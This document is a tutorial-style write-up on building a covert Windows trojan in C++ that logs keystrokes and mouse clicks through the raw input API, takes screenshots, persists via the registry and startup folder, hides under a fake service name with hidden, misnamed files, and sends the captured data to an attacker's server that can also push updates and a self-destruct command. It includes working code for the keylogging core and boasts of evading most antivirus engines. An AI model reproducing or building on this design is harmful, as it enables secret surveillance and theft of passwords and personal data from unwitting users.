Contents

Coding A Backdoor Trojan (on Windows)

Abstract

A Trojan horse, or Trojan, is a non-self-replicating type of malware which appears to perform a desirable function but instead facilitates unauthorized access to the user's computer system. Though considered highly unethical and punishable by law in most countries, it is essential to have an understanding of how to write one in order to fight them. However, such an executable also has its uses: Monitoring employees at work, students at school and children at home.

The executable we will be building will have the following modules: (i) A server module, which the Trojan will send all the information to, (ii) The keylogger module, which the Trojan will use to monitor the user’s keystrokes, (iii) The screencapper module, which the Trojan will use to take screenshots of the user, and (iv) The network module, which the Trojan will use to connect to the server and exchange information.

The server will be able to control the different monitoring parameters of the Trojan on the infected computer, and this Trojan will keep sending back the information recorded to the server. There are many different methods to accomplish this task, but most anti-virus software detect the common methods of keylogging: Hooking windows functions. Hence, creating a workaround and using new functions which are rarely used ensures detection rate of this program is at a minimum.

In this presentation, we will explore the different very complicated aspects of an advanced Trojan, from scanning networks for the server, hiding the program from the user and anti-virus engines, capturing screen content and keys and transmitting it to the server, as well as adding the program to the registry so that it is run every time the user boots up and/or logs on.

Why use Windows and C++?

We chose to do this project on Windows as Windows is the most widely used operating system, and so the challenge to create something undetectable was greater.

We also chose it because the Windows API is extremely well documented and it is very easy to get started with the basic concepts of programming with it.

We used C++ because C++ is powerful, flexible, and the language which is used by most programmers to write viruses. Not only is it highly extensible, but it is converted to native code which makes it run blazingly fast (when not working with managed code like MFC).

1. Introduction

1.1 What are keyloggers?

A keylogger, sometimes called a keystroke logger, key logger, or system monitor, is a hardware device or small program that monitors each keystroke a user types on a specific computer's keyboard. (1)

Keyloggers have been used since decades, providing users with information for remote monitoring, human-computer interaction and hardware debugging.

1.2 What are Trojan horses?

In computers, a Trojan horse is a program in which malicious or harmful code is contained inside apparently harmless programming or data in such a way that it can get control and do its chosen form of damage, such as, in this case, spying on the user's keystrokes and screen activity and sending it back to the server. (2)

1.3 Why create a Trojan Horse keylogger?

In today's world, computer infection by malware causes unthinkable amounts of damage to the economy. Just last year, the total global damage caused by malware was estimated to be at **110 Billion USD**. (3) Now, we see that the damage caused by fraud and theft/loss together stands at 59%, or **64.9 Billion USD**. In order to mitigate these losses, and prevent keyloggers from being able to monitor users, it is important to first understand how to create a keylogger.

Other uses may include monitoring applications to be deployed at schools, workplaces, etc., but we shall be looking at this project with the perspective that the user should not know that such an executable resides in his/her computer.

2. The keylogger module

2.1 How keys are processed by default (4)

Once a key is pressed on the keyboard, the controller sends over a scan code to the Operating System. Now the specific driver related to keyboard I/O on Windows, which is **i8042.dll**, receives this. The subsystem of Microsoft Win32 gets access to the keyboard by using the Raw Input Thread (RIT), part of the csrss.exe system process. On boot, the system creates the IRT and the system hardware input queue (SHIQ). When the user presses or releases one of the keys, the keyboard system controller yields a hardware interrupt. The hardware interrupt processer calls a special procedure to process the IRQ 1 interrupt (the interrupt service routine, or ISR), which is registered in the system by the **i8042prt** driver. This procedure reads the data which has appeared from the internal keyboard controller queue. All incoming keyboard events are placed in the hardware input system queue, and are in turn transformed into Windows messages (e.g. **WM_KEYDOWN** or **WM_MOUSEMOVE**) and are then placed at the end of the virtualized input queue, or VIQ of the active thread. When the user enters the system, the Windows Explorer process launches a thread which creates the task panel and the desktop (**WinSta0_RIT**). This thread binds to the RIT. If the user launches MS Word, then the **MS WORD** thread, having created a window, will immediately connect to the RIT. The Explorer process will then unhook from the RIT, as only one thread can be connected to RIT at any one time.

2.2 Different ways of keylogging (4)

Setting Windows Hooks

Arguably the most common method used, the **SetWindowsHook()** or **SetWindowsHookEx()** function is used to create a "hook". This can be thought of as a "man-in-the-middle attack", where our custom function is called every time a key is pressed, instead of calling the driver function. However, this requires the DLL to be injected into every process, making the computer slow and making detection very simple.

Cyclical Querying of the Keyboard

This simply involves querying the keyboard on the state of its keys (pressed or released) every few milliseconds, using **GetASyncKeyState()**. Obviously this is a very poor method as constant polling drains resources, keys may be missed in the process and is, again, easy to detect.

Modifying the keyboard driver itself

This can be a highly effective method; unfortunately there is no way to know what keyboard, or what keyboard driver a user has installed on their system. Writing a separate library for every model is impossible without a huge task force, and entirely pointless.

The Raw Input Model

This method is relatively new and perfect for our application. As mentioned previously, Windows uses the Raw Input Thread to process all incoming keystrokes. What if there was a way to simply get access to that queue? Windows has just the model for that: A **RAWINPUT** structure. The advantage is that there is no polling, no need to write a new library, no interception: Just get the data you need. The other fascinating aspect about the Raw Input Model is that it treats all data it receives as physical keystrokes, no matter the source: This guarantees the complete failure of virtual keyboards on machines running software written with the RAWINPUT model. This model is also able to provide information about mice and pointing devices. We shall be recording mouse clicks too.

This is the model we are going to use in this demonstration.

2.3 Storing the data

Once we set up the model and capture the keystrokes and mouse clicks, we need to store the data somewhere. We will be storing it in a simple text file called **binding.stats**, although we could store it as a binary file to make it harder for the user to understand what the file is in case he stumbles upon it. When the program is run, it will append to the file the current date and time, and all keystrokes and mouse clicks in plain text. Un-readable characters are represented by special strings, such as **[BACKSPACE]** when a user hits the backspace key.

3. The screencapper module

This module is fairly easy to understand and implement. First we get the dimensions of the desktop window (basically the entire screen). Then we allocate some memory for the image. Next, we "bit-blit" i.e. copy the desktop bits (pixels) into the memory we allocated. Then we save it as a bitmap with a different extension, for example as a **dll** file so that the user is unable to open it even if he stumbles across it by mistake. The name of the file is the time the screenshot was taken.

4. The network module

4.1 Functions

This is one of the most advanced parts of the program. This module is responsible for communicating with the server (separate application). The key functions of this module are to

- Search for and then connect to the server
- Send and receive the configuration file (Section 5)
- Download and update the keylogger to the latest version on the victim's computer
- Send the recorded data to the server
- Send the current program state to the server
- Self-destruct initiation after receiving the command from the server

4.2 Searching for and connecting to the server

In the case of a widespread attack, searching for the server over millions of network connections would not be feasible. However, Trojans are not designed for spreading. Also, in case of a localized network, the attacker might want to change the computer the server listens on (Consider the case of the school/office monitoring system). Hence, if no IP address is explicitly specified, the Trojan assumes the server exists on the local network, and searches for it. To do this, we use the Windows Sockets API (WSA). The steps involved in finding the server are as follows:

1. Initialize WSA using **WSAStartup()**.
2. Open the server list file and try to connect to each IP Address in that. As soon as one connection is successful, return.
3. Get own (victim's) IP Address using **gethostname()**. Note that more than one IP address might be returned as the computer may be connected to multiple networks.
4. For each of the victim's IP address obtained, remove the last two hexadecimal digits.
5. Now we have all the local IP Addresses in the form **x.x.x**.
6. Now when we want to connect to the server we try all combinations of **x.x.x.n** varying n from 0 to 255, for each IP Address that we obtained.
7. Try to connect to each of these addresses. If the connection was successful, store the IP Address in the server list file and return.

4.3 The custom Header class

As noted before, we need to send and receive data to and from the server. For this, we need to know a lot of details, such as how many files are in the queue, the type of the file being sent, the size of the file, and so on and so forth. Hence, a header is sent with all this information right before the actual files are.

The header class looks like this:

```
class Header {
public:
                            int rCode;
                            int filesInQueue;
                            unsigned int sizeNextMessage;
                            int sizeNextMessageName;

                            void set(int r, int f = 0, int s = 0, int snm = 0)
                            {
                                   rCode = r;
                                   filesInQueue = f;
                                   sizeNextMessage = s;
                                   sizeNextMessageName = snm;
                            }

};
```

rCode can be the return code after a request is received, it could be a request itself, or can be a notification/acknowledgement. It can have any of the following values:

```
#define EVERYTHING_OK                          0
#define ERR_CANNOT_CONNECT                     -2
#define INVALID_REQUEST                        -7
#define RESPONSE_ALL_OK                        0
#define RESPONSE_UPDATE_SUCCESS                1
#define RESPONSE_CONFIG_UPDATED                2
#define RESPONSE_FILE_RECEIVE_SUCCESS          3
#define RESPONSE_FILE_SIZE_MISMATCH            9
#define RESPONSE_NO_NEW_DATA                   10
#define RESPONSE_PROGRAM_ERROR                 -5

#define MESG_TYPE_UPDATE                       200
#define MESG_TYPE_CONFIG                       599
#define MESG_TYPE_LOG                          600
#define MESG_TYPE_BITMAP                       601
#define MESG_TYPE_UNKNOWN                      50

#define REQUEST_CONFIG_FILE                    799
#define REQUEST_KEYLOG_ONLY                    800
#define REQUEST_SCREENS_ONLY                   801
#define REQUEST_ALL_DATA                       850
```

filesInQueue specifies the number of files yet to be received. sizeNextMessage specifies the size of the next file and sizeNextMessageName specifies the length of the next filename. We use the **TransmitFile()** function to do the file transfer.

The network thread is also responsible for processing these requests and delivering the request file types back to the server. It also receives any updates, new configuration files (Section 5) and downloads and executes them. It is also responsible for receiving the self-destruct signal and raising the main thread to wipe all traces of the program from the computer and delete itself.

5. The configuration file

The configuration file is a directive to the Trojan on what activity it has to record and how it should do so. Our Trojan has the following capabilities:

- To record all of the user's keystrokes
- To record all of the user's mouse clicks
- To take screenshots of the user's computer
  - Every x seconds and/or
  - Every time the user clicks a mouse button

Now, depending on his need, the attacker would like to have none, some or all of these configurations and this can be communicated to the Trojan through this configuration file, which itself will be downloaded from the server by the network module (Section 4).

The directions are stored in the file as follows:

```
KL:SC:TI
```

Where KL is Keylogger on/off, SC is Screen capture on/off everytime mouse is clicked and TI is Screen capture at specified time interval.

where 0 represents off and 1 represents on. For the last field any number greater than 9 represents on, as the minimum threshold is 10 seconds (to prevent overuse of system resources).

For example, if the attacker wants the keys to be logged, and screen to be captured everytime the mouse is clicked, but not at any other time, the file will be:

```
1:1:0
```

This is the default setting.

If the attacker wants only the keys to be logged and nothing else the config file will read:

```
1:0:0
```

If the attacker wants the keys to be logged, and screenshots only every 180 seconds, but not every time the mouse is clicked, the config file would read:

```
1:0:180
```

If the attacker wants no keylogging, but only screenshots everytime the mouse is clicked AND every 20 seconds, the config file would have to read:

```
0:1:20
```

6. The main thread

This is the core of the program, which synchronizes all the threads and makes the executable.

6.1 Creation

First, a window class is instantiated with the fake name of "Windows Autonomous Messaging Services" for those who come across it. Then we create a window, but **do not show it**.

Then follows a series of complicated tie-ins to make sure that the application permanently resides in the victim's computer:

1. Hiding the exe inside "%WINDIR%\AMS\"
    a. Get the Windows directory and append '\' to it
    b. Append our folder name, 'AMS', to this, and create that folder
    c. Check whether the current running exe's path is the same as the one just created
    d. If not, copy from other location to location just created
    e. Run the instance from the location just created with the old path as a command line argument, so that the new instance can delete the old instance
2. Add the program to the registry so that it runs on startup
3. If this function fails (lack of administrative privileges), copy it to "%APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

Next, we create the network thread, using the **CreateThread()** function.

Now we try to open the configuration file. If the configuration file does not exist, it is created with the default values (Section 5). Otherwise, the values are loaded into memory. If the TI value is set and is greater than 9, then a timer is created to call the Screencapper module (Section 3) every TI seconds, using the **SetTimer()** function.

Then, we create the log file used to store our key and mouse clicks. If the file doesn't exist, it is created; else it is updated with the current timestamp. Then, we register interest in raw data for the mouse and the keyboard, like so:

```
rid[0].dwFlags=RIDEV_NOLEGACY|RIDEV_INPUTSINK;  // ignore legacy msgs & rcv sys wide keystrokes
rid[0].usUsagePage=1;                           // For keyboard
rid[0].usUsage=6;
rid[0].hwndTarget=hWnd;

rid[1].dwFlags=RIDEV_NOLEGACY|RIDEV_INPUTSINK;  // ignore legacy messages and receive mouse msgs
rid[1].usUsagePage=1;                                                 // For mouse
rid[1].usUsage=2;
rid[1].hwndTarget=hWnd;

RegisterRawInputDevices(rid,2,sizeof(RAWINPUTDEVICE));         // Actual passing of arguments
```

Now that the initialization is complete, we can move on to the next part, which does the actual processing of input.

6.2 Processing input

Now that we have registered interest in raw data, everytime a key or mouse event is detected, a **WM_INPUT** message is sent to our application program. The exciting feature about raw input is that our program will get input even if it is not the foreground window. In our message translation loop, first we allocate some memory to receive the raw data. The way to do that is

```
if(GetRawInputData((HRAWINPUT)lParam,RID_INPUT,NULL,&dwSize,sizeof(RAWINPUTHEADER))==-1)
{
                    break;
}                                         // No input for us

LPBYTE lpb = new BYTE[dwSize];            // Allocation
if (lpb == NULL)
{
                    break;
}

if(GetRawInputData((HRAWINPUT)lParam,RID_INPUT,lpb,&dwSize,sizeof(RAWINPUTHEADER))!=dwSize)
{
                    delete[] lpb;
                    break;
}                                         // Check if obtained data == size of header?

PRAWINPUT raw=(PRAWINPUT)lpb;             // New
```

Next, we check if this is a keyboard event and the attacker wants them logged.

```
if (raw->header.dwType == RIM_TYPEKEYBOARD && LogKeys)
```

If this evaluates to true, we map the virtual message into an actual ASCII character.

```
keyChar=MapVirtualKey(raw->data.keyboard.VKey,MAPVK_VK_TO_CHAR);     // Map it to ASCII
```

Now, the problem is that a scan code tells us which key was pressed. But we don't know what was intended: Was it a 1 or an exclamation mark? Was it a capital A or a small a? To fix this, we need to get the state of the other keys such as shift and caps to know what the user intended to type in. To do this,

```
SHIFT_STATE = GetKeyState(VK_SHIFT);// What state was the SHIFT key on when key was pressed?
CAPS_STATE = GetKeyState(VK_CAPITAL);// What state was the CAPS key on when key was pressed?
CTRL_STATE = GetKeyState(VK_CONTROL);// What state was the CTRL key on when key was pressed?
ALT_STATE = GetKeyState(VK_MENU);  // What state was the ALT key on when key was pressed?

ModifierKeys = FALSE;                            // Initially, nothing is pressed

if (((unsigned short) SHIFT_STATE >> 15) == 1)          //     We are looking for the high bit
       SHIFT_STATE = 1;                                 //     If it is set Shift is pressed
else
       SHIFT_STATE = 0;

if ((CAPS_STATE & 1) == 1)                              //     Looking for the low bit
       CAPS_STATE = 1;                                  //     If it is set, Caps is pressed
else
       CAPS_STATE = 0;                                  // Else not
CAPS_STATE ^= SHIFT_STATE;                        // XORing to get whether letter
                                                  // should be capital or small

if (((unsigned short) CTRL_STATE >> 15) == 1)          // Similar
{
       ModifierKeys = TRUE;
}

if (((unsigned short) ALT_STATE >> 15) == 1)
{
       ModifierKeys = TRUE;
}

if ((keyChar > 64) && (keyChar < 91))
       if (!CAPS_STATE)
              keyChar += 32;              // If it was not capital, add 32 to make it small
```

It should be mentioned that all the detected keys are stored in the lower numbers, hence all the keys initially show up as capital letters.

Now, it was easy to map A to a and Z to z, but with special characters, there is no guarantee that 1 and !, 3 and #, etc. are exactly 32 characters apart. In fact it is wrong. Hence, for this, we need to have a custom mapping scheme. Please note that at present, it only works on US English keyboards (for example, there will be a dollar symbol mapped instead of a pound symbol).

```
if (SHIFT_STATE)                          // Induvidual bindings for US English keyboard on SHIFT
{                                         // This would be independent of the CAPS state
       switch(keyChar)
       {
                     case 39: keyChar = 34;              // ' to "
                            break;
                     case 44: keyChar = 60;              // , to <
                            break;
                     case 45: keyChar = 95;              // - to _
                            break;
                     case 46: keyChar = 62;              // . to >
                            break;
                     case 47: keyChar = 63;              // / to ?
                            break;
                     case 48: keyChar = 41;              // 0 to )
                            break;
                     case 49: keyChar = 33;              // 1 to !
                            break;
                     case 50: keyChar = 64;              // 2 to @
                            break;
                     case 51: keyChar = 35;              // 3 to #
                            break;
                     case 52: keyChar = 36;              // 4 to $
                            break;
                     case 53: keyChar = 37;              // 5 to %
                            break;
                     case 54: keyChar = 94;              // 6 to ^
                            break;
                     case 55: keyChar = 38;              // 7 to &
                            break;
```

```
                              case 56: keyChar = 42;                      // 8 to *
                                     break;
                              case 57: keyChar = 40;                      // 9 to (
                                     break;
                              case 59: keyChar = 58;                      // ; to :
                                     break;
                              case 61: keyChar = 43;                      // = to +
                                     break;
                              case 91: keyChar = 123;                     // [ to {
                                     break;
                              case 92: keyChar = 124;                     // \ to |
                                     break;
                              case 93: keyChar = 125;                     // ] to }
                                     break;
                              case 96: keyChar = 126;                     // ` to ~
                                     break;
                              }
                       }
```

Once all this processing is done, we again open the log file and output these. However, we cannot output special characters such as backspace, escape, control, alt, etc., so comparisons to their ASCII values are made and special strings are inserted:

```
const char CtrlText[] = "CTRL + ";                        // Text logged when Ctrl is pressed
const char AltText[] = "ALT + ";                          // Text logged when Alt is pressed
const char BackText[] = "[BACKSPACE]";                    // Text logged when Backspace is pressed
const char EnterText[] = "\r\n[ENTER]";                   // Text logged when Enter is pressed
const char DelText[] = "[DELETE]";                        // Text logged when Delete is pressed
const char TabText[] = "[TAB]";                           // Text logged when Tab is pressed
const char EscapeText[] = "[ESCAPE]";                     // Text logged when Escape is pressed
const char LMBP[]="[LEFT MOUSE PRESSED]\r\n";             // Text logged when LMB is pressed
const char MMBP[]="[MIDDLE MOUSE PRESSED]\r\n";           // Text logged when MMB is pressed
const char RMBP[]="[RIGHT MOUSE PRESSED]\r\n";            // Text logged when RMB is pressed
```

But what if, instead of it being a keyboard event, it is a mouse event?

```
else if (raw->header.dwType == RIM_TYPEMOUSE && (LogScreens||LogKeys))      // Mouse event
```

This is relatively simple, all we have to do is find out whether the key was pressed, and then we write the special string (see above) into the file.

```
LMButtonDown = raw->data.mouse.ulButtons & RI_MOUSE_LEFT_BUTTON_DOWN;       // LBUTTONDOWN?
MMButtonDown = raw->data.mouse.ulButtons & RI_MOUSE_MIDDLE_BUTTON_DOWN;     // MBUTTONDOWN?
RMButtonDown = raw->data.mouse.ulButtons & RI_MOUSE_RIGHT_BUTTON_DOWN;      // RBUTTONDOWN?
if (LMButtonDown)
{
              CaptureEntireScreenContent();                    // Now we CAPTURE the screen
              if (LogKeys)
                     WriteFile(hFile, LMBP, strlen(LMBP), &fWritten, 0);
              else {
                     delete[] lpb;
                     CloseHandle(hFile);
                     break;
              }
}
```

7. Hiding the program from the user

This is one of the most important parts in the implementation of this program; the ultimate goal is that this program should remain undetectable. There are a variety of techniques we use to make this possible:

7.1 Making the window invisible

We make sure that the window of the program when created is not shown.

7.2 Assigning a fake name to the program

By doing this, we will mislead the user into thinking that it is a valid program actually doing something useful.

7.3 Storing the program in a deep, usually inaccessible directory

The user should not be able to find the executable easily. Hence we store it in an area where he will not generally look, like the Windows directory

7.4 Mark all the file attributes as hidden

Whenever we create a file (config file, screencapped files, keylog files), we add the “hidden” attribute to it, so that the user will not be able to see it by default.

7.5 Using different file extensions

As seen previously, the bitmap files are being stored with the extension .dll and the config file, which is a text file, is being saved with the extension .stats. Hence, even if the user somehow accesses these files, he will still not be able to view their contents with his default programs.

8. Performance optimization

Now, the most important thing to keep in mind while coding such a program is that the user **must not know that it exists**. Now, the user can easily come to know if

- The program causes the computer to lag or become unresponsive
- Input does not work consistently
- Internet slows down
- Hard drive space is eaten up
- The computer behaves in any way that it is not supposed to

Hence, our goal over here is to be as covert as possible. We discuss how to implement each of the above mentioned aspects:

8.1 Speed and responsiveness

The importance of this feature is paramount. If the user is unable to use his computer smoothly, it beats the purpose of this program. The first point to note is that this entire application is written in Native C++, using the Win32 API. If we had used an application framework like the .NET Framework, not only would it have slowed things down, but also would have added dependencies on the user’s system.

Also, as mentioned before, we are not using any techniques to hook functions, or continuously poll the keyboard, etc., so this program has a low impact on system resources. We also use a lot of threading so that the program does not freeze up and become detected, or become unresponsive and refuse to take input.

8.2 Input/output problems

As mentioned before, we are not using any hooking functions or injecting code into libraries, so the redirection is not our responsibility, but the Windows'. Hence, input is going to be consistent.

8.3 Internet bandwidth consumption

The network transmission thread is not transmitting all the time. It has to find a server, and after that, there should be new files to be transferred. Hence, the network is never clogged up.

8.4 Hard drive space

Hard drive space can be consumed very easily, if the screencapper module is configured with a high number of captures per minute, and/or the user clicks a lot. Taking a standard 1366 X 768 laptop monitor, the bitmap generated weighs exactly 4 MB. Considering a capture rate of one in 10 seconds (the minimum allowed), in one hour, there would be 360 captures. This itself totals up to 1440 MB, or 1.40 GB. To prevent this, we have the network transmission thread that transmits all this data consistently. We are also working on compressing the image to more than 75% of its original size while maintaining detail (*yet to be implemented*).

8.5 Computer behaves oddly

A computer behaving oddly is the sign of a prank virus, usually a joke or "fun" application that is usually harmless. The intent of the program is to be discovered. However, this program is just the opposite. This is one of the most damaging programs, not in terms of what it does to your computer, but in terms of the electronic, personal and intellectual data that it steals from your computer. This program cannot be discovered and hence, we do not modify anything in the system that we do not need to. We also do not perform any modifications that would arouse the suspicions of the user.

9. Future work and improvements

No software application is ever complete, and there is always something we can add to, or improve about the application. The key changes to be implemented are:

9.1 Compressing the images or storing them in a better file format

The current format, BMP, occupies a large amount of space on the hard drive. We will try to minimize this, either by compressing the image, or converting it to a lossier one.

9.2 Hiding the process from the task manager

Even though no application window is created, the user can still see the process in the "Processes" tab of the task manager. Hiding it will help masking it even more.

10. Conclusion

Today is a new era of computing, with vast amounts of processing power and hard drive space. But the important thing to remember is being unable to detect. Keyloggers and Trojans have been written before, but consider the following statistics:

- At peak load, the application consumer only **700-900K** of memory (if the network transmission thread is not running)
- The application has **no** impact on the startup and shutdown of the system.
- This application has been **undetected by most major anti-virus applications till today** (virustotal.com, passed 30 out of 32 engines).
- The program can remove traces of itself at any time.

Looking at all these statistics, we can say that this is a next-generation advanced piece of code, and it has a number of uses:

- Building a complete monitoring package
- Building a low level application that should not be modified by the user (for example, for a character translation program: Type on an English keyboard, but Arabic letters appear)
- Remote spying of a criminal's machine
- Hardware debugging
- Application performance and response analysis

There is, however, a plethora of changes we can make to tailor this to our needs, and we can modify and evolve the code to the demands in the computer industry.

11. Bibliography

1. Keystroke logging. *Wikipedia, The Free Encyclopedia.* [Online] http://en.wikipedia.org/wiki/Keystroke_logging.

2. What is a Trojan Horse? *Information Security information, news and tips - SearchSecurity.com.* [Online] http://searchsecurity.techtarget.com/definition/Trojan-horse.

3. 2012 NORTON CYBERCRIME REPORT. *Norton by Symantec.* [Online] http://now-static.norton.com/now/en/pu/images/Promotions/2012/cybercrimeReport/2012_Norton_Cybercrime_Report_Master_FINAL_050912.pdf.

4. Keyloggers: Implementing keyloggers in Windows. Part Two. *Securelist - Information about Viruses, Hackers and Spam.* [Online] http://www.securelist.com/en/analysis/204792178/Keyloggers_Implementing_keyloggers_in_Windows_Part_Two.